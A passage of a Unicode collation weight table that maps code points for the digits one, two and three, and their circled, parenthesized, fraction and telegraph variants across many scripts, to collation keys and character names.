[.1C3E.0020.0002] # MANICHAEAN NUMBER ONE -10B58 ; [.1C3E.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE -10B78 ; [.1C3E.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE -10BA9 ; [.1C3E.0020.0002] # PSALTER PAHLAVI NUMBER ONE -10CFA ; [.1C3E.0020.0002] # OLD HUNGARIAN NUMBER ONE -10E60 ; [.1C3E.0020.0002] # RUMI DIGIT ONE -11052 ; [.1C3E.0020.0002] # BRAHMI NUMBER ONE -11067 ; [.1C3E.0020.0002] # BRAHMI DIGIT ONE -110F1 ; [.1C3E.0020.0002] # SORA SOMPENG DIGIT ONE -11137 ; [.1C3E.0020.0002] # CHAKMA DIGIT ONE -111D1 ; [.1C3E.0020.0002] # SHARADA DIGIT ONE -111E1 ; [.1C3E.0020.0002] # SINHALA ARCHAIC DIGIT ONE -112F1 ; [.1C3E.0020.0002] # KHUDAWADI DIGIT ONE -11451 ; [.1C3E.0020.0002] # NEWA DIGIT ONE -114D1 ; [.1C3E.0020.0002] # TIRHUTA DIGIT ONE -11651 ; [.1C3E.0020.0002] # MODI DIGIT ONE -116C1 ; [.1C3E.0020.0002] # TAKRI DIGIT ONE -11731 ; [.1C3E.0020.0002] # AHOM DIGIT ONE -118E1 ; [.1C3E.0020.0002] # WARANG CITI DIGIT ONE -11C51 ; [.1C3E.0020.0002] # BHAIKSUKI DIGIT ONE -11C5A ; [.1C3E.0020.0002] # BHAIKSUKI NUMBER ONE -12415 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESH2 -1241E ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESHU -1242C ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE SHARU -12434 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BURU -1244F ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BAN2 -12458 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE ESHE3 -16A61 ; [.1C3E.0020.0002] # MRO DIGIT ONE -16B51 ; [.1C3E.0020.0002] # PAHAWH HMONG DIGIT ONE -1D360 ; [.1C3E.0020.0002] # COUNTING ROD UNIT DIGIT ONE -1E8C7 ; [.1C3E.0020.0002] # MENDE KIKAKUI DIGIT ONE -1E951 ; [.1C3E.0020.0002] # ADLAM DIGIT ONE -FF11 ; [.1C3E.0020.0003] # FULLWIDTH DIGIT ONE -0F2A ; [.1C3E.0020.0004] # TIBETAN DIGIT HALF ONE -2474 ; [*0317.0020.0004][.1C3E.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT ONE -2488 ; [.1C3E.0020.0004][*0277.0020.0004] # DIGIT ONE FULL STOP -1F102 ; [.1C3E.0020.0004][*0222.0020.0004] # DIGIT ONE COMMA -1D7CF ; [.1C3E.0020.0005] # MATHEMATICAL BOLD DIGIT ONE -1D7D9 ; [.1C3E.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ONE -1D7E3 ; [.1C3E.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ONE -1D7ED ; [.1C3E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ONE -1D7F7 ; [.1C3E.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ONE -2460 ; [.1C3E.0020.0006] # CIRCLED DIGIT ONE -24F5 ; [.1C3E.0020.0006] # DOUBLE CIRCLED DIGIT ONE -2776 ; [.1C3E.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT ONE -2780 ; [.1C3E.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ONE -278A ; [.1C3E.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE -00B9 ; [.1C3E.0020.0014] # SUPERSCRIPT ONE -2081 ; [.1C3E.0020.0015] # SUBSCRIPT ONE -215F ; [.1C3E.0020.001E][*0626.0020.001E] # FRACTION NUMERATOR ONE -247D ; [*0317.0020.0004][.1C3E.0020.0004][.1C3D.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TEN -2491 ; [.1C3E.0020.0004][.1C3D.0020.0004][*0277.0020.0004] # NUMBER TEN FULL STOP -2469 ; [.1C3E.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TEN -24FE ; [.1C3E.0020.0006][.1C3D.0020.0006] # DOUBLE CIRCLED NUMBER TEN -277F ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED NUMBER TEN -2789 ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT CIRCLED SANS-SERIF NUMBER TEN -2793 ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN -3248 ; [.1C3E.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TEN ON BLACK SQUARE -33E9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN -32C9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER -3362 ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN -247E ; [*0317.0020.0004][.1C3E.0020.0004][.1C3E.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER ELEVEN -2492 ; [.1C3E.0020.0004][.1C3E.0020.0004][*0277.0020.0004] # NUMBER ELEVEN FULL STOP -246A ; [.1C3E.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER ELEVEN -24EB ; [.1C3E.0020.0006][.1C3E.0020.0006] # NEGATIVE CIRCLED NUMBER ELEVEN -2152 ; [.1C3E.0020.001E][*0626.0020.001E][.1C3E.0020.001E][.1C3D.0020.001E] # VULGAR FRACTION ONE TENTH -33EA ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN -32CA ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER -3363 ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN -247F ; [*0317.0020.0004][.1C3E.0020.0004][.1C3F.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TWELVE -2493 ; [.1C3E.0020.0004][.1C3F.0020.0004][*0277.0020.0004] # NUMBER TWELVE FULL STOP -246B ; [.1C3E.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER TWELVE -24EC ; [.1C3E.0020.0006][.1C3F.0020.0006] # NEGATIVE CIRCLED NUMBER TWELVE -00BD ; [.1C3E.0020.001E][*0626.0020.001E][.1C3F.0020.001E] # VULGAR FRACTION ONE HALF -1F1A4 ; [.1C3E.0020.001C][.1C3F.0020.001C][.1C3D.0020.001C][.1E0C.0020.001D] # SQUARED ONE HUNDRED TWENTY P -33EB ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE -32CB ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER -3364 ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE -2480 ; [*0317.0020.0004][.1C3E.0020.0004][.1C40.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER THIRTEEN -2494 ; [.1C3E.0020.0004][.1C40.0020.0004][*0277.0020.0004] # NUMBER THIRTEEN FULL STOP -246C ; [.1C3E.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER THIRTEEN -24ED ; [.1C3E.0020.0006][.1C40.0020.0006] # NEGATIVE CIRCLED NUMBER THIRTEEN -2153 ; [.1C3E.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION ONE THIRD -33EC ; [.1C3E.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN -3365 ; [.1C3E.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN -2481 ; [*0317.0020.0004][.1C3E.0020.0004][.1C41.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER FOURTEEN -2495 ; [.1C3E.0020.0004][.1C41.0020.0004][*0277.0020.0004] # NUMBER FOURTEEN FULL STOP -246D ; [.1C3E.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER FOURTEEN -24EE ; [.1C3E.0020.0006][.1C41.0020.0006] # NEGATIVE CIRCLED NUMBER FOURTEEN -00BC ; [.1C3E.0020.001E][*0626.0020.001E][.1C41.0020.001E] # VULGAR FRACTION ONE QUARTER -33ED ; [.1C3E.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN -3366 ; [.1C3E.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN -2482 ; [*0317.0020.0004][.1C3E.0020.0004][.1C42.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER FIFTEEN -2496 ; [.1C3E.0020.0004][.1C42.0020.0004][*0277.0020.0004] # NUMBER FIFTEEN FULL STOP -246E ; [.1C3E.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER FIFTEEN -24EF ; [.1C3E.0020.0006][.1C42.0020.0006] # NEGATIVE CIRCLED NUMBER FIFTEEN -2155 ; [.1C3E.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION ONE FIFTH -33EE ; [.1C3E.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN -3367 ; [.1C3E.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN -2483 ; [*0317.0020.0004][.1C3E.0020.0004][.1C43.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER SIXTEEN -2497 ; [.1C3E.0020.0004][.1C43.0020.0004][*0277.0020.0004] # NUMBER SIXTEEN FULL STOP -246F ; [.1C3E.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER SIXTEEN -24F0 ; [.1C3E.0020.0006][.1C43.0020.0006] # NEGATIVE CIRCLED NUMBER SIXTEEN -2159 ; [.1C3E.0020.001E][*0626.0020.001E][.1C43.0020.001E] # VULGAR FRACTION ONE SIXTH -33EF ; [.1C3E.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN -3368 ; [.1C3E.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN -2484 ; [*0317.0020.0004][.1C3E.0020.0004][.1C44.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER SEVENTEEN -2498 ; [.1C3E.0020.0004][.1C44.0020.0004][*0277.0020.0004] # NUMBER SEVENTEEN FULL STOP -2470 ; [.1C3E.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER SEVENTEEN -24F1 ; [.1C3E.0020.0006][.1C44.0020.0006] # NEGATIVE CIRCLED NUMBER SEVENTEEN -2150 ; [.1C3E.0020.001E][*0626.0020.001E][.1C44.0020.001E] # VULGAR FRACTION ONE SEVENTH -33F0 ; [.1C3E.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN -3369 ; [.1C3E.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN -2485 ; [*0317.0020.0004][.1C3E.0020.0004][.1C45.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER EIGHTEEN -2499 ; [.1C3E.0020.0004][.1C45.0020.0004][*0277.0020.0004] # NUMBER EIGHTEEN FULL STOP -2471 ; [.1C3E.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER EIGHTEEN -24F2 ; [.1C3E.0020.0006][.1C45.0020.0006] # NEGATIVE CIRCLED NUMBER EIGHTEEN -215B ; [.1C3E.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION ONE EIGHTH -33F1 ; [.1C3E.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN -336A ; [.1C3E.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN -2486 ; [*0317.0020.0004][.1C3E.0020.0004][.1C46.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER NINETEEN -249A ; [.1C3E.0020.0004][.1C46.0020.0004][*0277.0020.0004] # NUMBER NINETEEN FULL STOP -2472 ; [.1C3E.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER NINETEEN -24F3 ; [.1C3E.0020.0006][.1C46.0020.0006] # NEGATIVE CIRCLED NUMBER NINETEEN -2151 ; [.1C3E.0020.001E][*0626.0020.001E][.1C46.0020.001E] # VULGAR FRACTION ONE NINTH -33F2 ; [.1C3E.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN -336B ; [.1C3E.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN -33E0 ; [.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE -32C0 ; [.1C3E.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY -3359 ; [.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE -0032 ; [.1C3F.0020.0002] # DIGIT TWO -0662 ; [.1C3F.0020.0002] # ARABIC-INDIC DIGIT TWO -06F2 ; [.1C3F.0020.0002] # EXTENDED ARABIC-INDIC DIGIT TWO -07C2 ; [.1C3F.0020.0002] # NKO DIGIT TWO -0968 ; [.1C3F.0020.0002] # DEVANAGARI DIGIT TWO -09E8 ; [.1C3F.0020.0002] # BENGALI DIGIT TWO -0A68 ; [.1C3F.0020.0002] # GURMUKHI DIGIT TWO -0AE8 ; [.1C3F.0020.0002] # GUJARATI DIGIT TWO -0B68 ; [.1C3F.0020.0002] # ORIYA DIGIT TWO -0BE8 ; [.1C3F.0020.0002] # TAMIL DIGIT TWO -0C68 ; [.1C3F.0020.0002] # TELUGU DIGIT TWO -0C7A ; [.1C3F.0020.0002] # TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR -0C7D ; [.1C3F.0020.0002] # TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR -0CE8 ; [.1C3F.0020.0002] # KANNADA DIGIT TWO -0D68 ; [.1C3F.0020.0002] # MALAYALAM DIGIT TWO -0DE8 ; [.1C3F.0020.0002] # SINHALA LITH DIGIT TWO -0E52 ; [.1C3F.0020.0002] # THAI DIGIT TWO -0ED2 ; [.1C3F.0020.0002] # LAO DIGIT TWO -0F22 ; [.1C3F.0020.0002] # TIBETAN DIGIT TWO -1042 ; [.1C3F.0020.0002] # MYANMAR DIGIT TWO -1092 ; [.1C3F.0020.0002] # MYANMAR SHAN DIGIT TWO -136A ; [.1C3F.0020.0002] # ETHIOPIC DIGIT TWO -17E2 ; [.1C3F.0020.0002] # KHMER DIGIT TWO -17F2 ; [.1C3F.0020.0002] # KHMER SYMBOL LEK ATTAK PII -1812 ; [.1C3F.0020.0002] # MONGOLIAN DIGIT TWO -1948 ; [.1C3F.0020.0002] # LIMBU DIGIT TWO -19D2 ; [.1C3F.0020.0002] # NEW TAI LUE DIGIT TWO -1A82 ; [.1C3F.0020.0002] # TAI THAM HORA DIGIT TWO -1A92 ; [.1C3F.0020.0002] # TAI THAM THAM DIGIT TWO -1B52 ; [.1C3F.0020.0002] # BALINESE DIGIT TWO -1BB2 ; [.1C3F.0020.0002] # SUNDANESE DIGIT TWO -1C42 ; [.1C3F.0020.0002] # LEPCHA DIGIT TWO -1C52 ; [.1C3F.0020.0002] # OL CHIKI DIGIT TWO -3022 ; [.1C3F.0020.0002] # HANGZHOU NUMERAL TWO -A622 ; [.1C3F.0020.0002] # VAI DIGIT TWO -A8D2 ; [.1C3F.0020.0002] # SAURASHTRA DIGIT TWO -A902 ; [.1C3F.0020.0002] # KAYAH LI DIGIT TWO -A9D2 ; [.1C3F.0020.0002] # JAVANESE DIGIT TWO -A9F2 ; [.1C3F.0020.0002] # MYANMAR TAI LAING DIGIT TWO -AA52 ; [.1C3F.0020.0002] # CHAM DIGIT TWO -ABF2 ; [.1C3F.0020.0002] # MEETEI MAYEK DIGIT TWO -10108 ; [.1C3F.0020.0002] # AEGEAN NUMBER TWO -1015B ; [.1C3F.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO -1015C ; [.1C3F.0020.0002] # GREEK ACROPHONIC THESPIAN TWO -1015D ; [.1C3F.0020.0002] # GREEK ACROPHONIC CYRENAIC TWO DRACHMAS -1015E ; [.1C3F.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO DRACHMAS -102E2 ; [.1C3F.0020.0002] # COPTIC EPACT DIGIT TWO -103D2 ; [.1C3F.0020.0002] # OLD PERSIAN NUMBER TWO -104A2 ; [.1C3F.0020.0002] # OSMANYA DIGIT TWO -10859 ; [.1C3F.0020.0002] # IMPERIAL ARAMAIC NUMBER TWO -1087A ; [.1C3F.0020.0002] # PALMYRENE NUMBER TWO -108A8 ; [.1C3F.0020.0002] # NABATAEAN NUMBER TWO -1091A ; [.1C3F.0020.0002] # PHOENICIAN NUMBER TWO -109C1 ; [.1C3F.0020.0002] # MEROITIC CURSIVE NUMBER TWO -10A41 ; [.1C3F.0020.0002] # KHAROSHTHI DIGIT TWO -10B59 ; [.1C3F.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWO -10B79 ; [.1C3F.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWO -10BAA ; [.1C3F.0020.0002] # PSALTER PAHLAVI NUMBER TWO -10E61 ; [.1C3F.0020.0002] # RUMI DIGIT TWO -11053 ; [.1C3F.0020.0002] # BRAHMI NUMBER TWO -11068 ; [.1C3F.0020.0002] # BRAHMI DIGIT TWO -110F2 ; [.1C3F.0020.0002] # SORA SOMPENG DIGIT TWO -11138 ; [.1C3F.0020.0002] # CHAKMA DIGIT TWO -111D2 ; [.1C3F.0020.0002] # SHARADA DIGIT TWO -111E2 ; [.1C3F.0020.0002] # SINHALA ARCHAIC DIGIT TWO -112F2 ; [.1C3F.0020.0002] # KHUDAWADI DIGIT TWO -11452 ; [.1C3F.0020.0002] # NEWA DIGIT TWO -114D2 ; [.1C3F.0020.0002] # TIRHUTA DIGIT TWO -11652 ; [.1C3F.0020.0002] # MODI DIGIT TWO -116C2 ; [.1C3F.0020.0002] # TAKRI DIGIT TWO -11732 ; [.1C3F.0020.0002] # AHOM DIGIT TWO -118E2 ; [.1C3F.0020.0002] # WARANG CITI DIGIT TWO -11C52 ; [.1C3F.0020.0002] # BHAIKSUKI DIGIT TWO -11C5B ; [.1C3F.0020.0002] # BHAIKSUKI NUMBER TWO -12400 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH -12416 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESH2 -1241F ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESHU -12423 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHAR2 -1242D ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHARU -12435 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BURU -1244A ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH TENU -12450 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BAN2 -12456 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAMIN -12459 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ESHE3 -16A62 ; [.1C3F.0020.0002] # MRO DIGIT TWO -16B52 ; [.1C3F.0020.0002] # PAHAWH HMONG DIGIT TWO -1D361 ; [.1C3F.0020.0002] # COUNTING ROD UNIT DIGIT TWO -1E8C8 ; [.1C3F.0020.0002] # MENDE KIKAKUI DIGIT TWO -1E952 ; [.1C3F.0020.0002] # ADLAM DIGIT TWO -FF12 ; [.1C3F.0020.0003] # FULLWIDTH DIGIT TWO -0F2B ; [.1C3F.0020.0004] # TIBETAN DIGIT HALF TWO -2475 ; [*0317.0020.0004][.1C3F.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT TWO -2489 ; [.1C3F.0020.0004][*0277.0020.0004] # DIGIT TWO FULL STOP -1F103 ; [.1C3F.0020.0004][*0222.0020.0004] # DIGIT TWO COMMA -1D7D0 ; [.1C3F.0020.0005] # MATHEMATICAL BOLD DIGIT TWO -1D7DA ; [.1C3F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT TWO -1D7E4 ; [.1C3F.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT TWO -1D7EE ; [.1C3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT TWO -1D7F8 ; [.1C3F.0020.0005] # MATHEMATICAL MONOSPACE DIGIT TWO -2461 ; [.1C3F.0020.0006] # CIRCLED DIGIT TWO -24F6 ; [.1C3F.0020.0006] # DOUBLE CIRCLED DIGIT TWO -2777 ; [.1C3F.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT TWO -2781 ; [.1C3F.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT TWO -278B ; [.1C3F.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO -00B2 ; [.1C3F.0020.0014] # SUPERSCRIPT TWO -2082 ; [.1C3F.0020.0015] # SUBSCRIPT TWO -2487 ; [*0317.0020.0004][.1C3F.0020.0004][.1C3D.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TWENTY -249B ; [.1C3F.0020.0004][.1C3D.0020.0004][*0277.0020.0004] # NUMBER TWENTY FULL STOP -2473 ; [.1C3F.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TWENTY -24F4 ; [.1C3F.0020.0006][.1C3D.0020.0006] # NEGATIVE CIRCLED NUMBER TWENTY -3249 ; [.1C3F.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TWENTY ON BLACK SQUARE -33F3 ; [.1C3F.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY -336C ; [.1C3F.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY -3251 ; [.1C3F.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER TWENTY ONE -33F4 ; [.1C3F.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE -336D ; [.1C3F.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE -3252 ; [.1C3F.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER TWENTY TWO -1F1A2 ; [.1C3F.0020.001C][.1C3F.0020.001C][*0277.0020.001C][.1C3F.0020.001C] # SQUARED TWENTY-TWO POINT TWO -33F5 ; [.1C3F.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO -336E ; [.1C3F.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO -3253 ; [.1C3F.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER TWENTY THREE -2154 ; [.1C3F.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION TWO THIRDS -33F6 ; [.1C3F.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE -336F ; [.1C3F.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE -3254 ; [.1C3F.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER TWENTY FOUR -33F7 ; [.1C3F.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR -3370 ; [.1C3F.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR -3255 ; [.1C3F.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER TWENTY FIVE -2156 ; [.1C3F.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION TWO FIFTHS -33F8 ; [.1C3F.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE -3256 ; [.1C3F.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER TWENTY SIX -33F9 ; [.1C3F.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX -3257 ; [.1C3F.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER TWENTY SEVEN -33FA ; [.1C3F.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN -3258 ; [.1C3F.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER TWENTY EIGHT -33FB ; [.1C3F.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT -3259 ; [.1C3F.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER TWENTY NINE -33FC ; [.1C3F.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE -1F19D ; [.1C3F.0020.001C][.1D65.0020.001D] # SQUARED TWO K -1F19C ; [.1C3F.0020.001C][.1DB9.0020.001C][.1C8F.0020.001C][*0209.0020.001C][.1E71.0020.001D][.1C7A.0020.001C][.1E33.0020.001C] # SQUARED SECOND SCREEN -33E1 ; [.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO -32C1 ; [.1C3F.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY -335A ; [.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO -0033 ; [.1C40.0020.0002] # DIGIT THREE -0663 ; [.1C40.0020.0002] # ARABIC-INDIC DIGIT THREE -06F3 ; [.1C40.0020.0002] # EXTENDED ARABIC-INDIC DIGIT THREE -07C3 ; [.1C40.0020.0002] # NKO DIGIT THREE -0969 ; [.1C40.0020.0002] # DEVANAGARI DIGIT THREE -09E9 ; [.1C40.0020.0002] # BENGALI DIGIT THREE -0A69 ; [.1C40.0020.0002] # GURMUKHI DIGIT THREE -0AE9 ; [.1C40.0020.0002] # GUJARATI DIGIT THREE -0B69 ; [.1C40.0020.0002] # ORIYA DIGIT THREE -0BE9 ; [.1C40.0020.0002] # TAMIL DIGIT THREE -0C69 ; [.1C40.0020.0002] # TELUGU DIGIT THREE -0C7B ; [.1C40.0020.0002] # TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR -0C7E ; [.1C40.0020.0002] # TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR -0CE9 ; [.1C40.0020.0002] # KANNADA DIGIT THREE -0D69 ; 